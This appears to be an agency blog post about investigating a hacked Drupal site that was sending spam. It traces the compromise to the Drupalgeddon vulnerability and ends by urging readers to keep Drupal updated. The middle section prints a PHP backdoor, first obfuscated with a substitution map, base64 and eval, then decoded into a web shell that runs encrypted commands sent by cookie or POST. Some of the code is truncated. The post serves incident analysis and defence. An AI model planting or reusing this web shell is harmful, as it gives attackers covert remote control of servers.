Malicious Drupal or Don't let it spam

New geek-thriller about hackers, spammers, and Drupal. Please, keep your kids from the screen. Don't let pregnant women read this. All the characters are fictional.

The madness

Almost a year ago, one of our clients asked us to check a production VM which was shut down by hosting provider because of enormous mail activity. To be precise, hosting provider said that the site was spamming users all around the world with pretty high persistence. 
Sure thing, first of all, we thought that client did his marketing email distribution too tough and hosting provider recognized this activity as spam. However, it turned that client never started email delivery this day.

The detective story

Nobody wants to keep their sites down, especially when customers surfing the internet. After few minutes of negotiation, our Special Forces landed on a server. Our team or better to say squad started the investigation late at night (evening in the US). As usual, we started by reviewing logs, activity statistics, the latest files changed on the server, etc. There were a whole bunch of files updated within a week but nothing leading to the source of a problem, logs were pristine. I do not want to bother you describing hours of unsuccessful search. Everything looked like “funny” coincidence.
Finally, after few hours of sniffing around, one file, drew my attention. It was changed more than a month ago but its name was “alias23.php”. Nothing special but as you may know, it’s not a common filename in a Drupal world.

Encoded file example

I am not a big fan of dramatic pauses, so here is a file content in it’s initial condition:

$v4Q4NU9 = Array('1'=>'s', '0'=>'x', '3'=>'w', '2'=>'5', '5'=>'n', '4'=>'N', '7'=>'J', '6'=>'C', '9'=>'H', '8'=>'l', 'A'=>'X', 'C'=>'K', 'B'=>'q', 'E'=>'T', 'D'=>'z', 'G'=>'d', 'F'=>'P', 'I'=>'U', 'H'=>'O', 'K'=>'D', 'J'=>'r', 'M'=>'E', 'L'=>'a', 'O'=>'0', 'N'=>'B', 'Q'=>'4', 'P'=>'I', 'S'=>'Z', 'R'=>'A', 'U'=>'o', 'T'=>'W', 'W'=>'h', 'V'=>'k', 'Y'=>'R', 'X'=>'L', 'Z'=>'9', 'a'=>'Q', 'c'=>'1', 'b'=>'V', 'e'=>'y', 'd'=>'b', 'g'=>'Y', 'f'=>'u', 'i'=>'e', 'h'=>'G', 'k'=>'g', 'j'=>'t', 'm'=>'F', 'l'=>'M', 'o'=>'v', 'n'=>'c', 'q'=>'6', 'p'=>'j', 's'=>'3', 'r'=>'8', 'u'=>'7', 't'=>'m', 'w'=>'S', 'v'=>'i', 'y'=>'p', 'x'=>'f', 'z'=>'2');
function vYUTGAX($vKUMCCI, $v8OXP7H){$vQONYDC = ''; for($i=0; $i < strlen($vKUMCCI); $i++){$vQONYDC .= isset($v8OXP7H[$vKUMCCI[$i]]) ? $v8OXP7H[$vKUMCCI[$i]] : $vKUMCCI[$i];}
return base64_decode($vQONYDC);}
$vQ7PLQN = 'ah8fLbZDSAaU7zbentZeAz0oSen1PM2bEM3yH3OCah8fLbZDSAaU7z0oScZ'.
eval(vYUTGAX($vQ7PLQN, $v4Q4NU9));?>

As you may notice, It’s not very obvious what is happening in this file but an eval() function is a bad sign, though.
It took few minutes to test this file on my local machine to get the original piece of code which was under the hood of base64 and few other dirty hacks like character replacement.

Decoded file example

Real code does not look so mysterious. It just retrieves a data in POST request and evaluates it. The main action was performed by a malicious server. This server was literally bombarding the endpoint with requests.

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);

    define("PHP_EOL", "\n");

    define("DIRECTORY_SEPARATOR", "/");

$data = NULL;
$data_key = NULL;

$GLOBALS['auth'] = '9316ca62-bf7c-4807-a7bd-1bc3e58173aa';
global $auth;

function sh_decrypt_phase($data, $key)
    $out_data = "";

    for ($i=0; $i<strlen($data);)
        for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));

    return $out_data;

function sh_decrypt($data, $key)
    global $auth;

    return sh_decrypt_phase(sh_decrypt_phase($data, $auth), $key);

foreach ($_COOKIE as $key=>$value)
    $data = $value;
    $data_key = $key;

if (!$data)
    foreach ($_POST as $key=>$value)
        $data = $value;
        $data_key = $key;

$data = @unserialize(sh_decrypt(@base64_decode($data), $data_key));
if (isset($data['ak']) && $auth==$data['ak'])
    if ($data['a'] == 'i')
        $i = Array(
            'pv' => @phpversion(),
            'sv' => '1.0-1',
        echo @serialize($i);
    elseif ($data['a'] == 'e')

Unfortunately, we did not have enough time to investigate the origin of this file. Our main aim was to fix the website ASAP and avoid such incidents in future. Probably, on age like a retarded cop, I will regret that I did not track these bastards.

Old Drupal - Dead Drupal

I think every LAMP developer in a world heard about the Drupageddon. For those, who did not here is a short description of vulnerability which actually caused this Drupalgeddon:

A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP execution, or other attacks. 

The issue described above was closed pretty quickly, patch and a security release was delivered in days. But there are still a whole bunch of infected sites with an outdated core, one of these sites was a site of our client.
There is not so much to say as a conclusion, except the one thing. 

Keep Your Drupal Updated

It could be expensive to track each update or to hire a developer to support your project. But it’s much more expensive to deal with the infected website.